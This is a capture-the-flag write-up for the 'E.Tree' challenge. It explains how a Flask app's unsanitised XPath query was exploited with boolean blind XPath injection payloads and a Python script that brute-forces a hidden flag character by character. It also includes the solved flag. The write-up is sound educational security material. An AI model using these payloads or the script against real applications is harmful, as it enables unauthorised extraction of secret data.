RFC1918 Blog

E.Tree Write-up: Cyber Apocalypse 2021

With Cyber Apocalypse 2021 coming to a end, I wanted to share some of the write-ups for the more interesting challenges we have completed.

Summary:

E.Tree was a Python Flask application that used XPATH to parse XML files. We were presented with an example XML file from where we could see that some users have an additional selfDestructCode element set. Knowing this, we were able to do an error-based XPATH injection to determine the flag.

What is XPATH:

The data stored in XML can be queried via XPath which is similar to SQL conceptually. It is also a query language and is used to locate specific elements in an XML document. There are no access level permissions and it is possible to refer almost any part of an XML document unlike SQL which allows restrictions on databases, tables or columns.

Downloaded file: military.xml

<?xml version="1.0" encoding="utf-8"?>

<military>
    <district id="confidential">
    
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
    </district>

    <district id="confidential">
    
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            <selfDestructCode>CHTB{f4k3_fl4g</selfDestructCode>
        </staff>
        
    </district>

    <district id="confidential">
    
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            <selfDestructCode>_f0r_t3st1ng}</selfDestructCode>
        </staff>
        <staff>
            <name>confidential</name>
            <age>confidential</age>
            <rank>confidential</rank>
            <kills>confidential</kills>
            
        </staff>
    </district>
</military>

Web Application:

First, looking at the web application we are presented with a directory search, which will get information on the military staff that maintain this district.

Web Application

Sending the request to BURP we can see the data is being sent through as JSON.

BURP Request Data

Doing some fuzzing on special characters we can see that a quotation mark will break the application.

Fuzzing

We can see we have a XPATHEvalError: Invalid predicate error. This also reveals the part of the application where the error occurred.

#### File "/app/app.py", line _42_, in `search`

@app.route("/api/search", methods=\["POST"\])

def search():

 name = request.json.get("search", "")

 query = "/military/district/staff\[name='{}'\]".format(name)

 if tree.xpath(query):

 return {"success": 1, "message": "This millitary staff member exists."}

 return {"failure": 1, "message": "This millitary staff member doesn't exist."}

This reveals valuable information as we can now see where to inject our XPATH injection.

To test this I tried injecting into the name variable and rebuilding the end query for the application to continue.

I sent the following payload to the application.

{"search":"random'] | /military/district/staff[name='random"}

Success!! We can successfully inject into the name variable without breaking the application.

Injection0

With this knowledge we are now able to inject any XPATH query into the application. Seeing as the application will only give us a true or false result, we’ll have to do error-based injection.

if tree.xpath(query):

 return {"success": 1, "message": "This millitary staff member exists."}

 return {"failure": 1, "message": "This millitary staff member doesn't exist."}

We first test if we are able to get a success message or a query we know is true. We search for the user “Straorg” from the Leaderboard tab.

{"search":"random'] | /military/district/staff[name='Straorg'] | /military/district/staff[name='random"}

We get a success.

Injection1

Now searching for a non-existing user.

{"search":"random'] | /military/district/staff[name='RFC1918'] | /military/district/staff[name='random"}

We get a failure response.

Injection2

Success. We now know if we send a query thats true, we will get a success and if the query is false we get a failure. Taking this knowledge we can now build a script to bruteforce each character of the flag.

But first we need to find out which two users have the selfDestructCode element.

Doing a quick test we quickly discovered that it will be the user indexed at 2 and 3.

{"search":"random'] | /military/district/staff[2] | /military/district/staff[name='random"}

Injection3

We now have all the information to start bruteforcing the flag.

#!/usr/share/python3

from lxml import etree
import requests, string

url = 'http://138.68.177.159:30743/api/search'

flag = ""
first_flag = 21 # random'] | /military/district/staff[3]/selfDestructCode[string-length(text()) = 21] | /military/district/staff[name='random
second_flag =  15 # random'] | /military/district/staff[2]/selfDestructCode[string-length(text()) = 15] | /military/district/staff[name='random
alphabet = string.ascii_letters + string.digits + "$" + "{}_()"

print("Character set: " + alphabet)

for i in range(1, first_flag + 1):
    for al in alphabet:
        print("Testing: " + al +"\n")
        myobj = {"search":"random'] | /military/district/staff[3]/selfDestructCode[substring(text()," + str(i) + ",1) = '" + al + "'] | /military/district/staff[name='random"}
        with requests.post(url, json = myobj, stream=True) as x:
            status = x.json()['message']
            if status == "This millitary staff member exists.": 
                flag += al
                print("FLAG: " + flag)
                break

for i in range(1, second_flag + 1):
    for al in alphabet:
        print("Testing: " + al +"\n")
        myobj = {"search":"random'] | /military/district/staff[2]/selfDestructCode[substring(text()," + str(i) + ",1) = '" + al + "'] | /military/district/staff[name='random"}
        with requests.post(url, json = myobj, stream=True) as x:
            status = x.json()['message']
            if status == "This millitary staff member exists.": 
                flag += al
                print("FLAG: " + flag)
                break

flag

FLAG: CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}